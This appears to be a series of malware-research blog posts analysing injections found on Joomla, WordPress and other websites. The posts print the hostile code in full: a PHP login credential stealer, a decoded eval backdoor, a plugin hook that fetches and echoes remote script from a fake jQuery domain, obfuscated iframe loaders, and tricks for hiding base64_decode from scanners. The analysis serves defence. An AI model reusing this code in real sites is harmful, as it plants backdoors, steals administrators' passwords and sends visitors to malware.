Category: Uncategorized

As we know, one of the main payloads of a successful attack is to maintain access to the compromised server for as long as possible. Today we found this simple but effective password stealer for Joomla.

$fh = fopen("components/com_login/models/login.txt", 'a');
date_default_timezone_set("America/Chicago");
fwrite($fh,date('m/d/Y H:i:s', time())." $_SERVER[REMOTE_ADDR] [$credentials[username]:$credentials[password]]\n");
fclose($fh);

It was injected in /administrator/components/com_login/models/login.php, and the code just captures the $credentials array, username and password to be more specific, and writes to a login.txt file, which was accessible through the internet.

To make things even easier for the attacker, it writes the date and time of the capture on Chicago Timezone (so is the attacker in Chicago?).

Just came across this backdoor (decoded):

@error_reporting(0); 
@ini_set("display_errors",0); 
@ini_set("log_errors",0); 
@ini_set("error_log",0); 

if (isset($_GET['r'])) { 
    print $_GET['r']; 
} 
elseif (isset($_POST['e'])) { 
    eval ( base64_decode(str_rot13 (strrev(base64_decode (str_rot13($_POST['e'])))))); 
} 
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { 
    $data = file_get_contents("php://input"); 
    if (strlen($data) > 0) 
        print 'STATUS-IMPORT-OK'; 
    if (strlen($data) > 12) { 
        $fp=@fopen('tmpfile','a'); 
        @flock($fp, LOCK_EX); 
        @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); 
        @flock($fp, LOCK_UN); @fclose($fp); 
    } 
} 
exit;

It looks like a normal backdoor, but the interesting part and the one I didn\'t understand completely was this one:

elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { 
    $data = file_get_contents("php://input"); 

What is it doing?

Why is it reading from php://input? From the PHP manual it explains:

php://input is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives. Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a potentially less memory intensive alternative to activating always_populate_raw_post_data. php://input is not available with enctype="multipart/form-data".

That explains.

We woke up this morning to many reports and people asking why the PHP.net site is being blacklisted.We did not get a chance to analyze it while it was compromised, but it seems that one of their javascript files (static.php.net/www.php.net/userprefs.js) was modified to inject a malicious iframefrom http://lnkhere.reviewhdtv.co.uk/stat.htm.

That's the supposed bad code: http://pastebin.com/raw.php?i=nAess4xL

It seems the PHP team fixed it already and requested Google to clear it. If anyone has more info, we would love to hear it.

A common keyword that people use to find hidden injections on web sites is base64_decode. Youoften see injections that look like eval ( base64_decode or eval ( gzinflate ( base64_decode beingused by the attackers.

So most web security tools have some signatures to look for it (specially on WordPress).

Well, the attackers do know about it as well and we are starting to see some interesting variations for it. Forexample, instead of injecting base64_decode, they are injecting as a variable:

$g___g_='base'.(32*2).'_de'.'code';

And instead of calling out base64_decode directly, they are using base + 32*2 + decode. A simple trick that allowsthen to bypass many security filters.

Piwik is an open source web analytics software that is used by many web masters. Andthe bad guys are using their popularity to try to make their malware injection harder todetect. They do that by injecting malicious javascript calls from a domain that looks like came from the Piwik project: www.piwik-stat.com/piwik.js. This is what is being injected:

<script src="httx://www.piwik-stat. com/piwik.js..
<iframe src="httx://www.piwik-stat. com/index.html..

It is not an uncommon tactic (we see if often with jquery), but as a web master if you see anythingfrom pwiki-stat or similar variations, it is likely fake. The official (and trusted one)is http://piwik.org/.

Today we found a malicious iframe that was being loaded from juquery.com (another fake jquery site). Itconsisted of the following code hidden inside one of the plugins:

  function browser_compability() {  
    if(function_exists('curl_init'))  
            {  
          $url = "httx://www. juquery.com/jquery-1.6.3.min.js";  
              $ch = curl_init();  
                  $timeout = 10;  
               curl_setopt($ch,CURLOPT_URL,$url);  
              curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);  
            curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);  
            $data = curl_exec($ch);  
          curl_close($ch);  
        echo "$data";  
      }  
   }  
   add_action('wp_head', 'browser_compability'); 

It forces the site to contact juquery.com/jquery-1.6.3.min.js on every page load and display whatever content is provides. Itis currently displaying the following malicious payload (triggered by sitecheck):

<script type="text/javascript">var hs_frf=document.createElement("script");hs_frf.setAttribute("type","text/javascript");
var _0xa6df=["\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x6A\x75\x71\x75\x65\x72..
var hs_fln=_0xa6df[0]+Math[_0xa6df[1]]();hs_frf.setAttribute("src",hs_fln);if (typeof hs_frf!="undefined");
document.getElementsByTagName("head")[0]. appendChild(hs_frf);</script>

Which creates another iframe based on the payload hosted at: httx://www.juquery.com/compability.php?0.09432658250443637:

var _0x2c3c=["\x69\x66\x72\x61\x6D\x65","\x63\x72\x65\x61\x74\x65...
var hs_ifr=document[_0x2c3c[1]](_0x2c3c[0]);hs_ifr[_0x2c3c[2]]=_0x2c3c[3];var hs_len=...
document[_0x2c3c[14]][_0x2c3c[13]] (hs_ifr);

Which also decodes to the iframe loading script:

var hs_ifr = document['createElement']('iframe');
hs_ifr['id'] = '687474703A2F2F6269742E6C792F31626C31736A66';
var hs_len = hs_ifr['id']['length'];
for (var i = 0; i < hs_len; i += 2) {
    hs_ifr['id'] += String["fromCharCode"](parseInt(hs_ifr['id']['substr'](i, 2), 16));
};
hs_ifr["id"] =  hs_ifr['id']['substr'](hs_len);
hs_ifr["style"]['display'] =  'none';
hs_ifr["style"]['width'] = 0;
hs_ifr["style"]['height'] = 0;
hs_ifr["src"] = hs_ifr['id'];
document["body"]["appendChild"] (hs_ifr);

It seems that fake jquery sites are becoming more and more popular and only jquery.com and jquery.org shouldbe trusted.

I don\'t think we have logged about it lately, but an old infection (that started early this year)is still going strong. The result is this code being injected to the site when visited bycertain browsers:

var j=0; while(j<230) 
document.write(String.fromCharCode("=tuzmf?/{q8rcbjsci!|!qptjujpo;bctpmvuf<..
!mfgu;.2396qy#{q8rcbjsci#?=jgsbnf!tsd>#iuuq;00..
ifjhiu>#651#?=0jgsbnf?=0ejw?"
.charCodeAt( j++)-1));

And the hidden code that generates it is tricky to find and generlly hidden inside one of the themefiles or wp-includes (on WordPress sites). It looks like this:

function check_image_c()
{
        $imagepath = array (
  0 => "47 118 97 114 47 119 119 119 47 116 104 111 117 103 104 116 102 117 108 119 111 109 101 110 46',
  1 => "111 114 103 47 119 112 45 99 111 110 116 101 110 116 47 117 112 108 111 97 100 115 47 50 48',
  2 => "49 51 47 48 51 47 117 112 97 110 100 117 112 46 106 112 103',
);
...
        $image = "101 118 97 108 40 98 97 115 101 54 52 95 100 101 99 111 100 101 40 39";
        $image = implode("", array_map("chr", explode(" ", $image)));
        $a = 'pre" . 'g_replace';
        $a("/.*/e", $image . $code . "'));", "");
                return false;
}
check_image_c();

All that to the end goal: Inject an iframe from *no-ip.biz (and other free domains) that will redirect the browser of the victim to Fake AV.